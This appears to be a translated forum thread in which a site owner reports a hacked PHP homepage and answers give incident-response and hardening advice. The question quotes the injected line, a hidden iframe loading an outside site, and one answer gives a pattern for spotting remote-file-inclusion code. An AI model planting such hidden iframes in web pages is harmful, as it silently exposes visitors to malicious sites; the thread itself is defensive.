php 网站污损

php 网站污损

可能重复:
我的服务器被黑了 紧急求助

有人入侵了我们的网站,并在我们的主页(index.php)中放入了以下几行代码:在下面的代码中,bottom.php 是我们自己的文件,而入侵者将该行代码放在"echo <iframe .... >;"我们的“include_once”代码之间。

<?include_once('bottom.php'); echo "<iframe src=\"http://clydaib.net/?click=86B26\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; ?>

请帮助我阻止这次侵入。

PHP 版本 5.2.9,系统:Linux hansens 2.4.32-grsec-opteron-peon-1.1.1 #1 SMP Fri Dec 21 15:45:17 PST 2007 i686

答案1

如果你还没有这样做,你应该做的第一件事就是在确定原因的同时尽可能地锁定服务器。在理想情况下,我会在找出问题所在时让机器下线。

尝试确定造成这种情况的根本原因(请原谅这个双关语)。如果这是某种通过 http 进行的攻击,请找出它的来源,以及可能还有哪些东西受到了损害。这可能是对整个盒子的损害吗?

您的内核大约有 2 年历史了,您的 PHP 不是该分支中最新的。我猜您的 apache 安装也不是。您是否在为网站使用已安装的 CMS 类型包?它是最新的吗?您是否删除了任何安装目录?文件的权限是什么?

如果是我的话:

  1. 让机器下线
  2. 确保问题得到控制(可能需要重新安装以确保)
  3. 确保软件是最新的并且覆盖所有已知的安全漏洞
  4. 从已知良好的备份恢复内容(您有备份,对吗?)
  5. 看看 Tripwire 之类的东西

这可能是对您的问题完全反应过度,但除非您了解“毁容”的规模,否则您不会知道要采取多大措施。

答案2

首先,检查 index.php 的 FTP 传输日志并检查连接的 IP - 它们是否来自中国、俄罗斯等外国。如果是真的 - 更改 FTP 密码,清理网站并扫描所有使用/保存密码的 PC。恶意软件窃取保存的密码或包含键盘记录器是很常见的,这些密码会被发送给入侵者并用于使网站分发/托管恶意软件。另外,请记住 FTP 以纯文本形式发送所有密码,因此不要在开放的 wifi 或其他不受信任的网络上使用它。

如果不起作用,请检查站点:a)文件上传脚本。检查文件路径/路径验证。另外,检查文件类型是否真的经过验证,而不仅仅是扩展名。Apache mod mime 具有不安全的“功能”,因此 evilscript.php.gif 等文件将作为 php 执行。参考:

“当具有多个扩展名的文件与 MIME 类型和处理程序相关联时,应小心谨慎。这通常会导致请求由与处理程序相关联的模块发出。例如,如果 .imap 扩展名映射到处理程序 imap 文件(来自 mod_imap),而 .html 扩展名映射到 MIME 类型 text/html,则文件 world.imap.html 将与 imap 文件处理程序和 text/html MIME 类型相关联。在处理它时,将使用 imap 文件处理程序,因此它将被视为 mod_imap 图像映射文件。”

解决方案:在移动上传文件的目录中禁用 php。

b)include|require (_once)。它们可用于远程文件包含,因此攻击者可以编写 php 脚本,该脚本将在服务器上执行并可以更改/删除文件。查找类似 include ($_GET | $_POST | $_COOKIE | $_REQUEST | $_SERVER)(.?*) 的内容解决方案:如果您的网站不需要 remote_fopen,请禁用它们。否则,请进行相同的正确输入验证(这将是明智的做法 :)。此外,我建议禁用 register_globals。

c) 评估用户输入/远程文件。请记住,用户输入可以驻留在数据库中。

另外,请检查您的网站是否有上传的后门,即所谓的“shell”。最安全的做法是从已知的安全备份中恢复 :)

答案3

有很多方法可以做到这一点。您的主页或(另一个)页面上是否有任何输入字段可能会被错误解析以进行漏洞利用尝试?

首先,确保 PHP 文件可供 Web 服务器读取但不可写入。其次,检查各种输入字段是否存在漏洞。

答案4

限制对 Apache 中的 Web 应用程序的攻击的一种方法是加载和微调 Apache 的 mod_security

链接:看这个mod_security 简介文章

相关内容